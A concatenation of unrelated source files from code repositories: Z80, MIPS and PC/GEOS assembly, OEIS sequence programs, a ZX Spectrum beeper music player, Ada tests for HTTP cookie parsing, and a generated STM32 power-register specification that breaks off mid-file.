; where LLLL is the number of literals and MMM is
; a length of the match that follows the literals
ld a,(hl) : exa : ld a,(hl) : inc hl ; token is read twice to be re-used later
and #F0 : jr z,NoLiterals
; we definitely have literals to copy
rrca : rrca : rrca : rrca : cp 15 : jr nz,CopyLiterals ; LLLL<15 means 0..14 literals...
; LLLL=15 indicates a multi-byte number of literals
ReadLongNumber: ld c,(hl) : inc hl : add c : jr c,NumberOverflow ; overflow does not happen often, hence the ugly branching
NumberContinue: inc c : jr z,ReadLongNumber
CopyLiterals: ld c,a : ldir
; second, a two-byte offset value is given
; since every compressed block must end with 5 literals,
; or more, and since after the end of the block the end
; marker is given, which is 4 zero bytes, we can use
; zero offset as a marker of the end of the block
; (see https://github.com/lz4/lz4/wiki/lz4_Block_format.md)
xor a
NoLiterals: push de ; SP -> [dest]
sub (hl) : inc hl : ld e,a
sbc (hl) : sub e : ld d,a ; DE = -offset
or e : jr z,BlockEnd ; ugly branching is optimized for speed
inc hl
; this is optimized for shorter matches, because
; they are likely to be a lot more common
ProcessMatch: exa : and #0F : add 4 : cp 15+4 : jp c,ShortMatch ; MMMM+4<15+4 means match lengths between 0+4 and 14+4
; MMMM=15 indicates a multi-byte length of the match
LongerMatch:
ReadMatchLen: ld c,(hl) : inc hl : add c : jr c,MatchIncB ; overflow does not happen often, hence the ugly branching
MatchContinue: inc c
jr nz,CopyMatch
jp ReadMatchLen
NumberOverflow: inc b : jp NumberContinue
MatchIncB: inc b : jp MatchContinue
BlockEnd: pop de : ret
|
setPixel.asm | J0nnyCheese/PNG-Reader | 0 | 3770 |
##########################set pixel #######################
.data
out_of_bound: .asciiz "Error in setPixel: pixel index out of bound. Program terminate."
.text
.globl set_pixel
set_pixel:
# $a0 -> image struct
# $a1 -> row number
# $a2 -> column number
# $a3 -> new value (clipped at 255)
###############return################
#void
# Add code here
move $s1, $a0 # $s1 = address of struct
addi $s1, $s1, -4
lw $s3, ($s1) # $s3 = width = 24
addi $s1, $s1, -4
lw $s4, ($s1) # $s4 = height = 7
mult $s3, $s4
mflo $t1 # $t1 = width * height
addi $s1, $s1, -4 # $s1 align with the start of pixel
mult $a1, $s3
mflo $t0 # $t0 = i* width
add $t0, $t0, $a2 # $t0 = i * width + j
# if (i,j) if out of bound -> error; else get value
slt $t2, $t0, $t1
bne $t2, 1, error_out_of_bound
sub $s1, $s1, $t0
sb $a3, ($s1) # value of image at (i,j) = $v0
jr $ra
error_out_of_bound:
li $v0, 4
la $a0, out_of_bound
syscall
li $v0, 10
syscall
|
oeis/115/A115143.asm | neoneye/loda-programs | 11 | 90034 | ; A115143: a(n) = -4*binomial(2*n-5, n-4)/n for n > 0 and a(0) = 1.
; Submitted by <NAME>
; 1,-4,2,0,-1,-4,-14,-48,-165,-572,-2002,-7072,-25194,-90440,-326876,-1188640,-4345965,-15967980,-58929450,-218349120,-811985790,-3029594040,-11338026180,-42550029600,-160094486370,-603784920024,-2282138106804,-8643460269248,-32798844771700,-124680849918352,-474746313150648,-1810502068789568,-6914663035042301,-26444792798594380,-101268000658146714,-388271781325244544,-1490397410607839734,-5727227396045850968,-22031207552900835380,-84832254137763216672,-326957646155962397590
mov $2,2
mul $2,$0
sub $2,6
mov $1,$2
bin $1,$0
sub $0,4
bin $2,$0
sub $1,$2
mov $0,$1
|
Library/Trans/Graphics/Bitmap/Tif/Export/exportMain.asm | steakknife/pcgeos | 504 | 242462 | <filename>Library/Trans/Graphics/Bitmap/Tif/Export/exportMain.asm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Impex- Tif Graphics Translation Library
FILE: exportMain.asm
AUTHOR: <NAME> 1/92
ROUTINES:
Name Description
---- -----------
GLB TransExport perform export of a GString into Tif file
format
INT GraphicsGetExportOptions returns the bitcount to be used by the DIB
library, as well as pushes the TIF export
compression type for the C translation
library call.
REVISION HISTORY:
Name Date Description
---- ---- -----------
DESCRIPTION:
This file contains the main interface to the export side of the
tif library
$Id: exportMain.asm,v 1.1 97/04/07 11:27:25 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ifdef __HIGHC__
MAINEXPORTC segment word public 'CODE'
global ExportTif:far
MAINEXPORTC ends
else
global EXPORTTIF:far
endif
ExportCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TransExport
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: perform export of a GString into Tif file format
CALLED BY: GLOBAL
PASS: ds:si ExportFrame
RETURN: ax - TransError error code, clear if no error
bx - handle to block containing Error String
if ax = TE_CUSTOM
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TransExport proc far
uses cx
.enter
ifdef __HIGHC__
mov bx,vseg _ExportTif ;segment of the main Tif export routine
mov ax,offset _ExportTif ;offset of the main Tif export routine
else
mov bx,vseg EXPORTTIF ;segment of the main Tif export routine
mov ax,offset EXPORTTIF ;offset of the main Tif export routine
endif
mov cx,2 ;num bytes required for export options
call GraphicsExportCommon ;call the common code to export to Tif
.leave
ret
TransExport endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GraphicsGetExportOptions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: returns the bitcount to be used by the DIB library, as well
as pushes the TIF export compression type for the C
translation library call.
CALLED BY: GraphicsExportCommon
PASS: ds:si - ExportFrame
ss:bp - location to put the export options
RETURN: si - Bit Count
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
* save away the return address so that the format can be
pushed on the stack for the upcoming C routine call
* Lock down the Export Options block
* extract the Bitcount to be returned
* push the TIF compression format
* restore the return address to the stack
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
MS 6/ 8/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GraphicsGetExportOptions proc near
uses ax,bx,ds
.enter
mov bx,ds:[si].EF_exportOptions
tst bx ;handle to options block
jz setDefault
call MemLock ;takes bx=handle,ret ax = address
jc setDefault ;unable to lock Options Block
segmov ds,ax ;address of options block
clr ah
mov al,ds:[TEO_bitCount] ;get bitcount
mov si,ax ;si export Option( bit count)
mov ax,ds:[TEO_compress]
mov ss:[bp],ax ;save compression format
call MemUnlock ;have extracted necessary data
done:
.leave
ret
setDefault:
mov si,1 ; set default bitcount to monochrome
mov ax, TIF_AUTOCMPR ; set default to auto compression
mov ss:[bp], ax
jmp done
GraphicsGetExportOptions endp
ExportCode ends
|
programs/oeis/117/A117444.asm | neoneye/loda | 22 | 85051 | ; A117444: Period 5: Repeat [0, 1, 2, -2, -1].
; 0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0,1,2,-2,-1,0
add $0,2
mod $0,5
sub $0,2
|
Commands/Miscellaneous Commands suite/system info/IPv4 address of (get system info).applescript | looking-for-a-job/applescript-examples | 1 | 4499 | <gh_stars>1-10
#!/usr/bin/osascript
IPv4 address of (get system info) |
oeis/101/A101304.asm | neoneye/loda-programs | 11 | 94361 | <filename>oeis/101/A101304.asm
; A101304: a(n) = 2^(prime(n) + 1) + 1.
; Submitted by <NAME>
; 9,17,65,257,4097,16385,262145,1048577,16777217,1073741825,4294967297,274877906945,4398046511105,17592186044417,281474976710657,18014398509481985,1152921504606846977,4611686018427387905,295147905179352825857,4722366482869645213697
seq $0,6005 ; The odd prime numbers together with 1.
max $0,2
add $0,1
mov $2,2
pow $2,$0
mov $0,$2
add $0,1
|
rawp/rawp.asm | bushy555/ZX-Spectrum-1-Bit-Routines | 59 | 81105 |
org #9000
wavpl
di
push ix
push iy
ld hl,_orderList
ld (_orderPntr),hl
_init
ld iy,_play2
call _readOrder
push af
ld e,(hl)
inc hl
ld d,(hl)
ex de,hl
ld (_orderPntr),hl
pop af
jr z,_init ;loop if no key pressed - comment out if you don't want loop
pop iy
pop ix
ld hl,#2758 ;restore hl' for return to BASIC
exx
ei
ret
;**************************************************************************************************
_readOrder
ld hl,(_orderPntr) ;get order pointer
ld e,(hl) ;read pnt pointer
inc hl
ld d,(hl)
inc hl
ld (_orderPntr),hl
ld a,d ;if pointer = #0000, end of song reached
or e
ret z
ld (_ptnPntr),de
;**************************************************************************************************
_readPtn
in a,(#fe)
cpl
and #1f
ret nz
ld (_slidech2),a ;reset fx
ld (_slidech1),a
ld ixl,a ;reset low byte of timer
ld hl,(_ptnPntr)
ld a,(hl) ;drum/end
cp #ff ;exit if #ff found
jr z,_readOrder
ld a,(hl) ;set speed
and %11111110
ld ixh,a
inc ixh ;timing correction because counter stops at #00ff
ld a,(hl)
rra
call c,_drums
inc hl
ld a,(hl) ;sample ch1
bit 7,a
jr z,_rdskip1
ld a,#14 ;inc d
ld (_slidech1),a
ld a,(hl)
bit 6,a
jr z,_rdskip0
ld a,#15
ld (_slidech1),a
_rdskip0
ld a,(hl)
and %00111111
_rdskip1
inc hl
ld b,(hl) ;pitch ch1
ld d,b ;backup
push hl
ld hl,_smp0
add a,h
ld h,a ;point hl to sample ch1
ld e,h ;backup upper nibble
ld c,#fe ;port
exx
pop hl
inc hl
ld a,(hl) ;sample ch2
bit 7,a
jr z,_rdskip3
ld a,#14 ;inc d
ld (_slidech2),a
ld a,(hl)
bit 6,a
jr z,_rdskip2
ld a,#15
ld (_slidech2),a
_rdskip2
ld a,(hl)
and %00111111
_rdskip3
inc hl
ld b,(hl) ;pitch ch2
ld d,b ;backup
inc hl ;point to next row
ld (_ptnPntr),hl ;preserve pattern pointer
ld hl,_smp0
add a,h
ld h,a ;point hl' to sample ch2
ld e,h ;backup upper nibble
ld c,#fe ;port
;**************************************************************************************************
;B - pitch counter ch1
;D - backup pitch counter
;E - backup sample pointer upper nibble
;HL - sample pointer ch1
;B' - pitch counter ch2
;D' - backup pitch counter
;E' - backup sample pointer upper nibble
;HL' - sample pointer ch2
;C,C' = #fe
;free: AF', IX, I, R
_play
outi ;16
inc b ;4
ld h,e ;4
outi ;16
inc b ;4
_slidech2
nop ;4 ;inc d = #14
outi ;16
inc b ;4
xor a ;4
outi ;16
jp nz,_play2 ;10
out (#fe),a ;11
ld b,d ;4 ;restore pitch counter, sample counter moves automatically
ld a,0 ;7 ;waste time
ld h,e ;4 ;waste time
exx ;4
ld h,e ;4
outi ;16
inc b ;4
ld h,e ;4 ;restore upper nibble of sample pointer
outi ;16
inc b ;4
_slidech1
nop ;4
outi ;16
inc b ;4
nop ;4
xor a ;4
outi ;16
jp nz,_wait2 ;10
out (#fe),a ;11
ld b,d ;4 ;restore pitch counter
ld a,0 ;7 ;waste time
ld h,e ;4
;nop
_playend
exx ;4
dec ix ;10 ;decrement speed counter
ld a,ixh ;8
or a ;4
jp nz,_play ;10
;288
exx
jp _readPtn
;**************************************************************************************************
_play2
out (#fe),a ;11
ld a,l ;4 ;reset sample pointer
sub 4 ;7
ld l,a ;4
ld h,e ;4 ;restore upper nibble of sample pointer
exx ;4
ld h,e ;4
outi ;16
inc b ;4 ;cheating a bit
nop ;4
outi ;16
inc b ;4
ld h,e ;4
outi ;16
inc b ;4
xor a ;4
outi ;16
jp nz,_wait2 ;10
out (#fe),a ;11
ld b,d ;4 ;restore pitch counter
ld a,0 ;7 ;waste time
ld h,e ;4
exx ;4
dec ix ;10 ;decrement speed counter
ld a,ixh ;8
or a ;4
jp nz,_play ;10
;288
exx
jp _readPtn
;**************************************************************************************************
_wait2
out (#fe),a ;11
ld a,l ;4 ;reset sample pointer
sub 4 ;7
ld l,a ;4
exx ;4
dec ix ;10 ;decrement speed counter
ld a,ixh ;8
or a ;4
jp nz,_play ;10
exx
jp _readPtn
;**************************************************************************************************
_drums
push hl ;preserve data pointer
push bc ;preserve timer
push de
ld hl,#3000 ;setup ROM pointer - change val for different drum sounds
ld de,#0d0e ;loopldiloop
ld b,72
_dlp3 ld a,(hl) ;read byte from ROM
and #10
out (#fe),a ;output whatever
dec hl ;decrement ROM pointer
dec bc ;decrement timer
push ix
pop ix
push ix
pop ix
xor a
out (#fe),a ;output whatever
_dlp4 dec d
jr nz,_dlp4
ld d,e
inc e
djnz _dlp3
_drumret
pop de
pop bc ;restore timer
pop hl
dec ixh ;adjust timing
ret
;**************************************************************************************************
_orderPntr
dw 0
_ptnPntr
dw 0
_sampleData
include "sampledata.asm"
_musicData
include "music.asm"
|
regtests/asf-cookies-tests.adb | jquorning/ada-asf | 12 | 3175 | <reponame>jquorning/ada-asf
-----------------------------------------------------------------------
-- asf-cookies-tests - Unit tests for Cookies
-- Copyright (C) 2011 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Test_Caller;
with Util.Log.Loggers;
with Util.Measures;
with Ada.Strings.Fixed;
with Ada.Unchecked_Deallocation;
package body ASF.Cookies.Tests is
use Ada.Strings.Fixed;
use Util.Tests;
use Util.Log;
-- The logger
Log : constant Loggers.Logger := Loggers.Create ("ASF.Cookies.Tests");
procedure Free is new Ada.Unchecked_Deallocation (Cookie_Array, Cookie_Array_Access);
package Caller is new Util.Test_Caller (Test, "Cookies");
procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite) is
begin
Caller.Add_Test (Suite, "Test ASF.Cookies.Create_Cookie",
Test_Create_Cookie'Access);
Caller.Add_Test (Suite, "Test ASF.Cookies.To_Http_Header",
Test_To_Http_Header'Access);
Caller.Add_Test (Suite, "Test ASF.Cookies.Get_Cookies",
Test_Parse_Http_Header'Access);
end Add_Tests;
-- ------------------------------
-- Test creation of cookie
-- ------------------------------
procedure Test_Create_Cookie (T : in out Test) is
C : constant Cookie := Create ("cookie", "value");
begin
T.Assert_Equals ("cookie", Get_Name (C), "Invalid name");
T.Assert_Equals ("value", Get_Value (C), "Invalid value");
T.Assert (not Is_Secure (C), "Invalid is_secure");
end Test_Create_Cookie;
-- ------------------------------
-- Test conversion of cookie for HTTP header
-- ------------------------------
procedure Test_To_Http_Header (T : in out Test) is
procedure Test_Cookie (C : in Cookie) is
S : constant String := To_Http_Header (C);
begin
Log.Info ("Cookie {0}: {1}", Get_Name (C), S);
T.Assert (S'Length > 0, "Invalid cookie length for: " & S);
T.Assert (Index (S, "=") > 0, "Invalid cookie format; " & S);
end Test_Cookie;
procedure Test_Cookie (Name : in String; Value : in String) is
C : Cookie := Create (Name, Value);
begin
Test_Cookie (C);
for I in 1 .. 24 loop
Set_Max_Age (C, I * 3600 + I);
Test_Cookie (C);
end loop;
Set_Secure (C, True);
Test_Cookie (C);
Set_Http_Only (C, True);
Test_Cookie (C);
Set_Domain (C, "world.com");
Test_Cookie (C);
Set_Path (C, "/some-path");
Test_Cookie (C);
end Test_Cookie;
begin
Test_Cookie ("a", "b");
Test_Cookie ("session_id", "79e2317bcabe731e2f681f5725bbc621-&v=1");
Test_Cookie ("p_41_zy", "");
Test_Cookie ("p_34", """quoted\t""");
Test_Cookie ("d", "s");
declare
C : Cookie := Create ("cookie-name", "79e2317bcabe731e2f681f5725bbc621");
Start : Util.Measures.Stamp;
begin
Set_Path (C, "/home");
Set_Domain (C, ".mydomain.example.<EMAIL>");
Set_Max_Age (C, 1000);
Set_Http_Only (C, True);
Set_Secure (C, True);
Set_Comment (C, "some comment");
for I in 1 .. 1000 loop
declare
S : constant String := To_Http_Header (C);
begin
if S'Length < 10 then
T.Assert (S'Length > 10, "Invalid cookie generation");
end if;
end;
end loop;
Util.Measures.Report (S => Start,
Title => "Generation of 1000 cookies");
end;
end Test_To_Http_Header;
-- ------------------------------
-- Test parsing of client cookie to build a list of Cookie objects
-- ------------------------------
procedure Test_Parse_Http_Header (T : in out Test) is
-- ------------------------------
-- Parse the header and check for the expected cookie count and verify
-- the value of a specific cookie
-- ------------------------------
procedure Test_Parse (Header : in String;
Count : in Natural;
Name : in String;
Value : in String) is
Start : Util.Measures.Stamp;
C : Cookie_Array_Access := Get_Cookies (Header);
Found : Boolean := False;
begin
Util.Measures.Report (S => Start,
Title => "Parsing of cookie " & Name);
T.Assert (C /= null, "Null value returned by Get_Cookies");
Assert_Equals (T, Count, C'Length, "Invalid count in result array");
for I in C'Range loop
Log.Debug ("Cookie: {0}={1}", Get_Name (C (I)), Get_Value (C (I)));
if Name = Get_Name (C (I)) then
Assert_Equals (T, Value, Get_Value (C (I)), "Invalid cookie: " & Name);
Found := True;
end if;
end loop;
T.Assert (Found, "Cookie " & Name & " not found");
Free (C);
end Test_Parse;
begin
Test_Parse ("A=B", 1, "A", "B");
Test_Parse ("A=B=", 1, "A", "B=");
Test_Parse ("CONTEXTE=mar=101&nab=84fbbe2a81887732fe9c635d9ac319b5"
& "&pfl=afide0&typsrv=we&sc=1&soumar=1011&srcurlconfigchapeau"
& "=sous_ouv_formulaire_chapeau_dei_config&nag=550®=14505; "
& "xtvrn=$354249$354336$; CEPORM=321169600.8782.0000; SES=auth=0&"
& "cartridge_url=&return_url=; CEPORC=344500416.8782.0000", 5,
"SES", "auth=0&cartridge_url=&return_url=");
Test_Parse ("s_nr=1298652863627; s_sq=%5B%5BB%5D%5D; s_cc=true; oraclelicense="
& "accept-dbindex-cookie; gpv_p24=no%20value; gpw_e24=no%20value",
6, "gpw_e24", "no%20value");
-- Parse a set of cookies from microsoft.com
Test_Parse ("WT_FPC=id=00.06.036.020-2037773472.29989343:lv=1300442685103:ss=1300442685103; "
& "MC1=GUID=9d86c397c1a5ea4cab48d9fe19b76b4e&HASH=97c3&LV=20092&V=3; "
& "A=I&I=AxUFAAAAAABwBwAALSllub5HorZBtWWX8ZeXcQ!!&CS=114[3B002j2p[0302g3V309; "
& "WT_NVR_RU=0=technet|msdn:1=:2=; mcI=Fri, 31 Dec 2010 10:44:31 GMT; "
& "omniID=beb780dd_ab6d_4802_9f37_e33dde280adb; CodeSnippetContainerLang="
& "Visual Basic; MSID=Microsoft.CreationDate=11/09/2010 10:08:25&Microsoft."
& "LastVisitDate=03/01/2011 17:08:34&Microsoft.VisitStartDate=03/01/2011 "
& "17:08:34&Microsoft.CookieId=882efa27-ee6c-40c5-96ba-2297f985d9e3&Microsoft"
& ".TokenId=<PASSWORD>&Microsoft.NumberOfVisits="
& "60&Microsoft.IdentityToken=<KEY>"
& "dBj23rXVz5/xeldkkKHr/NtXFN3xAvczHlHQHKw14/9f/VAraQFIzEYpypGE24z1AuPCzVwU"
& "l4HZPnOFH+IA0u2oarcR1n3IMC4Gk8D1UOPBwGlYMB2Xl2W+Up8kJikc4qUxmFG+X5SRrZ3m7"
& "LntAv92B4v7c9FPewcQHDSAJAmTOuy7+sl6zEwW2fGWjqGe3G7bh+qqUWPs4LrvSyyi7T3UCW"
& "anSWn6jqJInP/MSeAxAvjbTrBwlJlE3AoUfXUJgL81boPYsIXZ30lPpqjMkyc0Jd70dffNNTo5"
& "qwkvfFhyOvnfYoQ7dZ0REw+TRA01xHyyUSPINOVgM5Vcu4SdvcUoIlMR3Y097nK+lvx8SqV4UU"
& "+QENW1wbBDa7/u6AQqUuk0616tWrBQMR9pYKwYsORUqLkQY5URzhVVA7Py28dLX002Nehqjbh68"
& "4xQv/gQYbPZMZUq/wgmPsqA5mJU/lki6A0S/H/ULGbrJE0PBQr8T+Hd+Op4HxEHvjvkTs=&Micr"
& "osoft.MicrosoftId=0004-1282-6244-7365; msresearch=%7B%22version%22%3A%224.6"
& "%22%2C%22state%22%3A%7B%22name%22%3A%22IDLE%22%2C%22url%22%3Aundefined%2C%2"
& "2timestamp%22%3A1296211850175%7D%2C%22lastinvited%22%3A1296211850175%2C%22u"
& "serid%22%3A%2212962118501758905232121057759%22%2C%22vendorid%22%3A1%2C%22su"
& "rveys%22%3A%5Bundefined%5D%7D; s_sq=%5B%5BB%5D%5D; s_cc=true; "
& "GsfxStatsLog=true; GsfxSessionCookie=231210164895294015; ADS=SN=175A21EF;"
& ".ASPXANONYMOUS=HJbsF8QczAEkAAAAMGU4YjY4YTctNDJhNy00NmQ3LWJmOWEtNjVjMzFmODY"
& "1ZTA5dhasChFIbRm1YpxPXPteSbwdTE01",
15, "s_sq", "%5B%5BB%5D%5D");
end Test_Parse_Http_Header;
end ASF.Cookies.Tests;
|
arch/ARM/STM32/svd/stm32l4x5/stm32_svd-pwr.ads | morbos/Ada_Drivers_Library | 2 | 22880 | <reponame>morbos/Ada_Drivers_Library
-- This spec has been automatically generated from STM32L4x5.svd
pragma Restrictions (No_Elaboration_Code);
pragma Ada_2012;
pragma Style_Checks (Off);
with HAL;
with System;
package STM32_SVD.PWR is
pragma Preelaborate;
---------------
-- Registers --
---------------
subtype CR1_LPMS_Field is HAL.UInt3;
subtype CR1_VOS_Field is HAL.UInt2;
-- Power control register 1
type CR1_Register is record
-- Low-power mode selection
LPMS : CR1_LPMS_Field := 16#0#;
-- unspecified
Reserved_3_7 : HAL.UInt5 := 16#0#;
-- Disable backup domain write protection
DBP : Boolean := False;
-- Voltage scaling range selection
VOS : CR1_VOS_Field := 16#1#;
-- unspecified
Reserved_11_13 : HAL.UInt3 := 16#0#;
-- Low-power run
LPR : Boolean := False;
-- unspecified
Reserved_15_31 : HAL.UInt17 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CR1_Register use record
LPMS at 0 range 0 .. 2;
Reserved_3_7 at 0 range 3 .. 7;
DBP at 0 range 8 .. 8;
VOS at 0 range 9 .. 10;
Reserved_11_13 at 0 range 11 .. 13;
LPR at 0 range 14 .. 14;
Reserved_15_31 at 0 range 15 .. 31;
end record;
subtype CR2_PLS_Field is HAL.UInt3;
-- CR2_PVME array
type CR2_PVME_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for CR2_PVME
type CR2_PVME_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PVME as a value
Val : HAL.UInt4;
when True =>
-- PVME as an array
Arr : CR2_PVME_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for CR2_PVME_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- Power control register 2
type CR2_Register is record
-- Power voltage detector enable
PVDE : Boolean := False;
-- Power voltage detector level selection
PLS : CR2_PLS_Field := 16#0#;
-- Peripheral voltage monitoring 1 enable: VDDUSB vs. 1.2V
PVME : CR2_PVME_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_8_8 : HAL.Bit := 16#0#;
-- VDDIO2 Independent I/Os supply valid
IOSV : Boolean := False;
-- VDDUSB USB supply valid
USV : Boolean := False;
-- unspecified
Reserved_11_31 : HAL.UInt21 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CR2_Register use record
PVDE at 0 range 0 .. 0;
PLS at 0 range 1 .. 3;
PVME at 0 range 4 .. 7;
Reserved_8_8 at 0 range 8 .. 8;
IOSV at 0 range 9 .. 9;
USV at 0 range 10 .. 10;
Reserved_11_31 at 0 range 11 .. 31;
end record;
-- CR3_EWUP array
type CR3_EWUP_Field_Array is array (1 .. 5) of Boolean
with Component_Size => 1, Size => 5;
-- Type definition for CR3_EWUP
type CR3_EWUP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- EWUP as a value
Val : HAL.UInt5;
when True =>
-- EWUP as an array
Arr : CR3_EWUP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 5;
for CR3_EWUP_Field use record
Val at 0 range 0 .. 4;
Arr at 0 range 0 .. 4;
end record;
-- Power control register 3
type CR3_Register is record
-- Enable Wakeup pin WKUP1
EWUP : CR3_EWUP_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_5_7 : HAL.UInt3 := 16#0#;
-- SRAM2 retention in Standby mode
RRS : Boolean := False;
-- unspecified
Reserved_9_9 : HAL.Bit := 16#0#;
-- Apply pull-up and pull-down configuration
APC : Boolean := False;
-- unspecified
Reserved_11_14 : HAL.UInt4 := 16#0#;
-- Enable internal wakeup line
EWF : Boolean := True;
-- unspecified
Reserved_16_31 : HAL.UInt16 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CR3_Register use record
EWUP at 0 range 0 .. 4;
Reserved_5_7 at 0 range 5 .. 7;
RRS at 0 range 8 .. 8;
Reserved_9_9 at 0 range 9 .. 9;
APC at 0 range 10 .. 10;
Reserved_11_14 at 0 range 11 .. 14;
EWF at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- CR4_WP array
type CR4_WP_Field_Array is array (1 .. 5) of Boolean
with Component_Size => 1, Size => 5;
-- Type definition for CR4_WP
type CR4_WP_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- WP as a value
Val : HAL.UInt5;
when True =>
-- WP as an array
Arr : CR4_WP_Field_Array;
end case;
end record
with Unchecked_Union, Size => 5;
for CR4_WP_Field use record
Val at 0 range 0 .. 4;
Arr at 0 range 0 .. 4;
end record;
-- Power control register 4
type CR4_Register is record
-- Wakeup pin WKUP1 polarity
WP : CR4_WP_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_5_7 : HAL.UInt3 := 16#0#;
-- VBAT battery charging enable
VBE : Boolean := False;
-- VBAT battery charging resistor selection
VBRS : Boolean := False;
-- unspecified
Reserved_10_31 : HAL.UInt22 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CR4_Register use record
WP at 0 range 0 .. 4;
Reserved_5_7 at 0 range 5 .. 7;
VBE at 0 range 8 .. 8;
VBRS at 0 range 9 .. 9;
Reserved_10_31 at 0 range 10 .. 31;
end record;
-- SR1_CWUF array
type SR1_CWUF_Field_Array is array (1 .. 5) of Boolean
with Component_Size => 1, Size => 5;
-- Type definition for SR1_CWUF
type SR1_CWUF_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- CWUF as a value
Val : HAL.UInt5;
when True =>
-- CWUF as an array
Arr : SR1_CWUF_Field_Array;
end case;
end record
with Unchecked_Union, Size => 5;
for SR1_CWUF_Field use record
Val at 0 range 0 .. 4;
Arr at 0 range 0 .. 4;
end record;
-- Power status register 1
type SR1_Register is record
-- Read-only. Wakeup flag 1
CWUF : SR1_CWUF_Field;
-- unspecified
Reserved_5_7 : HAL.UInt3;
-- Read-only. Standby flag
CSBF : Boolean;
-- unspecified
Reserved_9_14 : HAL.UInt6;
-- Read-only. Wakeup flag internal
WUFI : Boolean;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SR1_Register use record
CWUF at 0 range 0 .. 4;
Reserved_5_7 at 0 range 5 .. 7;
CSBF at 0 range 8 .. 8;
Reserved_9_14 at 0 range 9 .. 14;
WUFI at 0 range 15 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- SR2_PVMO array
type SR2_PVMO_Field_Array is array (1 .. 4) of Boolean
with Component_Size => 1, Size => 4;
-- Type definition for SR2_PVMO
type SR2_PVMO_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- PVMO as a value
Val : HAL.UInt4;
when True =>
-- PVMO as an array
Arr : SR2_PVMO_Field_Array;
end case;
end record
with Unchecked_Union, Size => 4;
for SR2_PVMO_Field use record
Val at 0 range 0 .. 3;
Arr at 0 range 0 .. 3;
end record;
-- Power status register 2
type SR2_Register is record
-- unspecified
Reserved_0_7 : HAL.UInt8;
-- Read-only. Low-power regulator started
REGLPS : Boolean;
-- Read-only. Low-power regulator flag
REGLPF : Boolean;
-- Read-only. Voltage scaling flag
VOSF : Boolean;
-- Read-only. Power voltage detector output
PVDO : Boolean;
-- Read-only. Peripheral voltage monitoring output: VDDUSB vs. 1.2 V
PVMO : SR2_PVMO_Field;
-- unspecified
Reserved_16_31 : HAL.UInt16;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SR2_Register use record
Reserved_0_7 at 0 range 0 .. 7;
REGLPS at 0 range 8 .. 8;
REGLPF at 0 range 9 .. 9;
VOSF at 0 range 10 .. 10;
PVDO at 0 range 11 .. 11;
PVMO at 0 range 12 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
-- SCR_WUF array
